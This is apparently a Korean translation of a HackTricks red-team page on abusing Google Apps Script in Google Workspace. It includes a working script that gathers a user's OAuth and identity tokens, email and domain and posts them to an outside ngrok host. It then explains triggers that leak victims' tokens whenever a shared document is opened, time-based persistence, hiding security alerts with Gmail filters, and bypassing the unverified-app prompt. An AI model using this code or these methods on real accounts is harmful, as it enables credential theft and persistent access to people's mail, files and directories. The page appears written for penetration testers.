GWS - App Scripts

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

앱 스크립트

앱 스크립트는 사용자가 편집 권한을 가진 문서에 액세스할 때 트리거되는 코드이며 OAuth 프롬프트를 수락한 후에 실행됩니다. 또한 앱 스크립트의 소유자가 설정하여 일정한 시간마다 실행되도록 할 수도 있습니다 (지속성).

앱 스크립트 생성

앱 스크립트를 생성하는 여러 가지 방법이 있지만, 가장 일반적인 방법은 **Google 문서(모든 유형)**나 독립형 프로젝트에서 생성하는 것입니다:

Google 문서, 시트 또는 슬라이드에서 컨테이너 바운드 프로젝트 생성
  1. 문서, 시트 스프레드시트 또는 슬라이드 프레젠테이션을 엽니다.

  2. 확장 프로그램 > Google Apps Script를 클릭합니다.

  3. 스크립트 편집기에서 Untitled project를 클릭합니다.

  4. 프로젝트에 이름을 지정하고 이름 바꾸기를 클릭합니다.

독립형 프로젝트 생성

앱 스크립트에서 독립형 프로젝트를 생성하려면:

  1. script.google.com로 이동합니다.

  2. 새 프로젝트 추가를 클릭합니다.

  3. 스크립트 편집기에서 Untitled project를 클릭합니다.

  4. 프로젝트에 이름을 지정하고 이름 바꾸기를 클릭합니다.

Google 드라이브에서 독립형 프로젝트 생성
  1. Google 드라이브를 엽니다.

  2. 새로 만들기 > 더보기 > Google Apps Script를 클릭합니다.

Google Forms에서 컨테이너 바운드 프로젝트 생성
  1. Google Forms에서 양식을 엽니다.

  2. 더보기 more_vert > 스크립트 편집기를 클릭합니다.

  3. 스크립트 편집기에서 Untitled project를 클릭합니다.

  4. 프로젝트에 이름을 지정하고 이름 바꾸기를 클릭합니다.

clasp 명령줄 도구를 사용하여 독립형 프로젝트 생성

clasp는 터미널에서 Apps Script 프로젝트를 생성, 가져오기/밀어넣기 및 배포할 수 있는 명령줄 도구입니다.

자세한 내용은 Command Line Interface using clasp guide를 참조하세요.

앱 스크립트 시나리오

앱 스크립트로 Google 시트 생성

앱 스크립트를 생성하기 위해 Google 시트를 만들고 **확장 프로그램 > 앱 스크립트**로 이동하는 것이 좋습니다. 이렇게 하면 시트에 연결된 새로운 앱 스크립트가 열립니다.

토큰 노출

OAuth 토큰에 액세스 권한을 부여하려면 서비스 추가 +를 클릭하고 다음과 같은 스코프를 추가하세요:

  • AdminDirectory: 디렉터리의 사용자 및 그룹에 액세스 (사용자에게 충분한 권한이 있는 경우)

  • Gmail: Gmail 데이터에 액세스

  • Drive: 드라이브 데이터에 액세스

  • Google Sheets API: 트리거와 함께 작동하도록 하기 위해

필요한 스코프를 직접 변경하려면 프로젝트 설정으로 이동하여 에디터에서 "appsscript.json" 매니페스트 파일 표시를 활성화하세요.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

요청을 캡처하려면 다음을 실행하면 됩니다:

ngrok tcp 4444
nc -lv 4444 #macOS

앱 스크립트를 실행하기 위해 요청된 권한:

외부 요청이 발생하면 OAuth 프롬프트가 외부 엔드포인트에 도달할 권한을 요청합니다.

트리거 생성

앱을 읽은 후 ⏰ 트리거를 클릭하여 트리거를 생성합니다. **getToken**을 선택하여 실행할 함수로 선택하고, 배포 시 **Head**를 선택하고, 이벤트 소스에서 **From spreadsheet**를 선택하고, 이벤트 유형에서 On open 또는 On edit (필요에 따라)를 선택하고 저장합니다.

또한 디버그를 위해 앱 스크립트의 실행 탭에서 실행을 확인할 수 있습니다.

공유

앱 스크립트트리거하기 위해 피해자는 편집자 액세스와 연결해야 합니다.

앱 스크립트를 실행하는 데 사용되는 토큰트리거 생성자의 토큰이 될 것이며, 파일이 다른 사용자에 의해 편집자로 열렸더라도 마찬가지입니다.

공유된 문서 남용

누군가가 앱 스크립트가 포함된 문서를 공유하고 트리거를 사용하여 앱 스크립트를 실행하는 경우 (고정 배포가 아닌 경우), 앱 스크립트 코드를 수정하여 (예: 토큰 도용 기능 추가) 액세스하고, 문서를 공유한 사용자의 권한으로 앱 스크립트가 실행될 것입니다! (트리거 생성 시 제공된 액세스 범위가 트리거 생성 시 설정된 것과 동일할 것임을 유의하십시오).

스크립트 생성자에게 스크립트가 수정되었음을 알리는 알림이 전송됩니다 (알림을 방지하기 위해 gmail 권한을 사용하여 필터를 생성하는 것은 어떨까요?)

공격자가 앱 스크립트의 범위를 수정하면 업데이트가 문서에 적용되지 않습니다. 따라서, 공격자는 생성된 트리거에서 설정한 것보다 더 많은 범위의 소유자 생성 토큰을 도용할 수 없을 것입니다.

공유 대신 복사

문서를 공유할 링크를 만들면 다음과 유사한 링크가 생성됩니다: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit 링크 끝에 있는 **"/edit"**를 **"/copy"**로 변경하면 구글이 문서의 사본을 생성할지 묻는 메시지가 표시됩니다:

사용자가 복사하고 액세스하면 문서 내용과 앱 스크립트가 모두 복사되지만 트리거는 복사되지 않으므로 실행되지 않을 것입니다.

웹 애플리케이션으로 공유

앱 스크립트를 웹 애플리케이션으로 공유할 수도 있음을 유의하십시오 (앱 스크립트의 편집기에서 웹 애플리케이션으로 배포). 그러나 다음과 같은 경고가 표시됩니다:

필요한 권한을 요청하는 일반적인 OAuth 프롬프트가 뒤따릅니다.

테스트

다음과 같이 이메일 목록을 나열하기 위해 수집된 토큰을 테스트할 수 있습니다:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

사용자의 캘린더 목록:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

앱 스크립트를 통한 지속성

지속성을 위한 한 가지 옵션은 문서를 생성하고 getToken 함수에 대한 트리거를 추가하고 문서를 공격자와 공유하여 공격자가 파일을 열 때마다 피해자의 토큰을 유출하도록 하는 것입니다.

또한 앱 스크립트를 생성하고 X 시간마다(분, 시간, 일 등) 트리거를 설정할 수도 있습니다. 자격 증명이나 피해자의 세션을 침해한 공격자는 앱 스크립트 시간 트리거를 설정하고 매일 매우 특권적인 OAuth 토큰을 유출할 수 있습니다:

앱 스크립트를 생성하고 트리거로 이동하여 트리거 추가를 클릭하고 이벤트 소스로 '시간 기반'을 선택하고 적합한 옵션을 선택하십시오:

이로 인해 보안 경보 이메일이 생성되고 이에 대한 모바일 푸시 메시지가 전송됩니다.

공유 문서 미검증 프롬프트 우회

또한, 누군가가 편집 액세스로 문서를 공유했다면, 문서 내에서 앱 스크립트를 생성하고 문서의 소유자(생성자)가 앱 스크립트의 소유자가 될 것입니다.

이는 문서의 생성자가 해당 문서 내에서 편집 액세스를 가진 사람이 생성하는 모든 앱 스크립트의 생성자로 나타날 것을 의미합니다.

또한, 이는 문서의 생성자의 Workspace 환경에서 앱 스크립트가 신뢰될 것을 의미합니다.

이는 또한, 앱 스크립트가 이미 존재하고 사람들이 액세스 권한을 부여한 경우, 문서에 편집자 권한이 있는 사람은 수정하고 해당 액세스를 남용할 수 있습니다. 이를 남용하려면 사람들이 앱 스크립트를 트리거하도록 해야 합니다. 그리고 한 가지 깔끔한 속임수는 스크립트를 웹 앱으로 게시하는 것입니다. 이미 액세스를 부여한 사람들이 웹 페이지에 액세스하면 앱 스크립트가 트리거됩니다(<img> 태그를 사용하여도 작동함).

最終更新